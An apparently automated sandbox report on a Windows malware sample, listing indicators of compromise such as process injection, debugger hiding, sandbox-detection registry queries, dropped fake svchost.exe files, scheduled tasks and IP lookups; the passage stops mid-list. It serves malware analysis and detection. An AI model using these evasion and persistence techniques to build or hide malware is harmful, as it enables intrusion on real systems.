description ioc Process File opened (read-only) \??\U: installer.exe File opened (read-only) \??\Z: installer.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\M: installer.exe File opened (read-only) \??\P: installer.exe File opened (read-only) \??\X: installer.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: installer.exe File opened (read-only) \??\R: installer.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\E: installer.exe File opened (read-only) \??\N: installer.exe File opened (read-only) \??\Q: installer.exe File opened (read-only) \??\Y: installer.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\B: installer.exe File opened (read-only) \??\I: installer.exe File opened (read-only) \??\T: installer.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: installer.exe File opened (read-only) \??\W: installer.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: installer.exe File opened (read-only) \??\L: installer.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\F: installer.exe File opened (read-only) \??\J: installer.exe File opened (read-only) \??\K: installer.exe File opened (read-only) \??\S: installer.exe File opened (read-only) \??\V: installer.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: installer.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 8 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 145 ipinfo.io 194 ipinfo.io 311 ipinfo.io 343 ipinfo.io 1 ipinfo.io 36 ipinfo.io 51 ipinfo.io 53 ip-api.com -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
pid Process 3856 cKNfesBMIdF8xbjJgapm5LeE.exe 2560 4sJVMRoh2XvFYLOlja0nQegx.exe 2344 8uwyDq4RzIASixTAPZYZJmwI.exe 7140 6404539.exe 4652 ZDrO50KpNCLpsUulmLanzxOV.exe 2872 BjEs7BqmOorrI7PZG6BFwx9e.exe -
Suspicious use of SetThreadContext 11 IoCs
description pid Process procid_target PID 3324 set thread context of 3240 3324 Dc2cGIo8H66p8bqWXY8d5sy2.exe 16 PID 1592 set thread context of 5216 1592 MegogoSell_crypted.exe 136 PID 5052 set thread context of 5568 5052 e8sIHJtYYbh6Npgujz9tWguG.exe 143 PID 1624 set thread context of 5248 1624 schtasks.exe 154 PID 5344 set thread context of 3240 5344 cmmon32.exe 16 PID 2240 set thread context of 5720 2240 E9X6UUspMsNZ0PBOY9yOxppO.exe 249 PID 5480 set thread context of 1560 5480 8F9A.exe 272 PID 7112 set thread context of 7212 7112 hepatocyte.exe 314 PID 6272 set thread context of 3540 6272 5E05.exe 346 PID 2936 set thread context of 2192 2936 80AC.exe 458 PID 7836 set thread context of 5492 7836 scriptwriters.exe 495 -
Drops file in Program Files directory 19 IoCs
description ioc Process File created C:\Program Files (x86)\FarLabUninstaller\is-R4IGO.tmp setup.tmp File created C:\Program Files\Common Files\CRBPOKOHHG\foldershare.exe DYbALA.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe WJgWulYLEFinITcgUMZXyIrr.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe WJgWulYLEFinITcgUMZXyIrr.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe WJgWulYLEFinITcgUMZXyIrr.exe File created C:\Program Files\Common Files\System\sememe\svchost.exe E9X6UUspMsNZ0PBOY9yOxppO.exe File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup.tmp File created C:\Program Files\Common Files\CRBPOKOHHG\foldershare.exe.config DYbALA.exe File opened for modification C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-OMGHA.tmp setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-4T7V8.tmp setup.tmp File created C:\Program Files (x86)\PowerControl\Sacageloka.exe.config DYbALA.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe iJ3HRZcMmv1l2v1Ha5zD_MPf.exe File opened for modification C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe setup.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-T5CE9.tmp setup.tmp File created C:\Program Files (x86)\PowerControl\Sacageloka.exe DYbALA.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini WJgWulYLEFinITcgUMZXyIrr.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe iJ3HRZcMmv1l2v1Ha5zD_MPf.exe -
Drops file in Windows directory 23 IoCs
description ioc Process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp mshta.exe File created C:\Windows\Cursors\veejays\svchost.exe 80AC.exe File opened for modification C:\Windows\Installer\MSI70BF.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIA6E4.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSID913.tmp msiexec.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File created C:\Windows\System\xxx1.bak S3hVyTpSyStATNGo3TrVZ9ki.exe File created C:\Windows\System\svchost.exe S3hVyTpSyStATNGo3TrVZ9ki.exe File created C:\Windows\System\xxx1.bak svchost.exe File opened for modification C:\Windows\Installer\MSIBE26.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE028.tmp msiexec.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\System\svchost.exe S3hVyTpSyStATNGo3TrVZ9ki.exe File opened for modification C:\Windows\Installer\f7b3aca.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSID132.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI40E7.tmp msiexec.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File created C:\Windows\Installer\f7b3aca.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI9D1F.tmp msiexec.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 25 IoCs
pid pid_target Process procid_target 5672 3480 WerFault.exe 112 5468 2644 WerFault.exe 105 5964 4616 WerFault.exe 102 5956 5008 WerFault.exe 88 6400 4820 WerFault.exe 107 6084 5884 WerFault.exe 130 4404 5028 WerFault.exe 100 4424 3620 WerFault.exe 211 7124 6616 WerFault.exe 184 3212 4080 WerFault.exe 207 1904 1896 WerFault.exe 259 6216 4208 WerFault.exe 256 5900 5952 WerFault.exe 258 7552 6636 WerFault.exe 264 5988 5208 WerFault.exe 333 7004 7832 WerFault.exe 321 4596 5440 WerFault.exe 225 5252 2228 WerFault.exe 351 3528 7552 WerFault.exe 370 5052 4540 WerFault.exe 369 6540 1348 WerFault.exe 375 8444 7236 WerFault.exe 393 5016 7252 WerFault.exe 482 3424 7252 WerFault.exe 482 4236 6376 WerFault.exe 498 -
NSIS installer 8 IoCs
resource yara_rule behavioral1/files/0x0006000000000167-216.dat nsis_installer_1 behavioral1/files/0x0006000000000167-216.dat nsis_installer_2 behavioral1/files/0x0006000000000167-223.dat nsis_installer_1 behavioral1/files/0x0006000000000167-223.dat nsis_installer_2 behavioral1/files/0x000300000002a22b-281.dat nsis_installer_1 behavioral1/files/0x000300000002a22b-281.dat nsis_installer_2 behavioral1/files/0x000300000002a22b-280.dat nsis_installer_1 behavioral1/files/0x000300000002a22b-280.dat nsis_installer_2 -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI e8sIHJtYYbh6Npgujz9tWguG.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI e8sIHJtYYbh6Npgujz9tWguG.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI e8sIHJtYYbh6Npgujz9tWguG.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 8F9A.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 8F9A.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 8F9A.exe -
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier mshta.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz F4C4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz AdvancedRun.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision AdvancedRun.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AdvancedRun.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision Process not Found Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mshta.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier AdvancedRun.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 F4C4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier F4C4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Process not Found -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6176 schtasks.exe 1624 schtasks.exe 1624 schtasks.exe -
Enumerates system info in registry 2 TTPs 51 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Process not Found Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mshta.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS AdvancedRun.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU AdvancedRun.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS F4C4.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU F4C4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS mshta.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe -
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 6320 ipconfig.exe -
Kills process with taskkill 5 IoCs
pid Process 1320 taskkill.exe 3624 taskkill.exe 5968 taskkill.exe 7360 taskkill.exe 6404 taskkill.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02tnsfuuhvhvnzmz\Provision Monday, November 08, 2021 08:21:30 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAR7wEPCwYHEiJoQLZeYC8zQAAAAACAAAAAAAQZgAAAAEAACAAAAAs8urz6dI62LLPm7TCCDeOacvCt9xiyCJJI6aBHb3WkAAAAAAOgAAAAAIAACAAAAA1+LIbX6n5vNnHMqtjx1PLnVo+wIHO9PHddSubOJVxmCAAAAC+uuADUKihd2KxkCXxzwDJNI3xXhgpPZQW3ubVZa0DgEAAAAAI3A/Mkm+qAz634dyMA86mxZPgtw9Jf5/A4VwoBhiq4Ba2QZAR7+ww6FcChZGx5vEKFWP8sOPTrsoHTWnFMSyL" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02tnsfuuhvhvnzmz svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ProviderPasswordLength = "8" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02tnsfuuhvhvnzmz\Reason = "2147750679" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-257790753-2419383948-818201544-1000\02mydyyuqgnpagug\Reason = "2147778642" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02tejjqctucoyxdc" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02lrqqzjiojuqmiq\AppIdList svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02tnsfuuhvhvnzmz svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02tejjqctucoyxdc\DeviceId = "<Data LastUpdatedTime=\"1636388507\"><User username=\"02TEJJQCTUCOYXDC\"><HardwareInfo BoundTime=\"1636388518\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-257790753-2419383948-818201544-1000\02mydyyuqgnpagug\DeviceId = "<Data><User username=\"02MYDYYUQGNPAGUG\"><HardwareInfo BoundTime=\"1636388501\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created 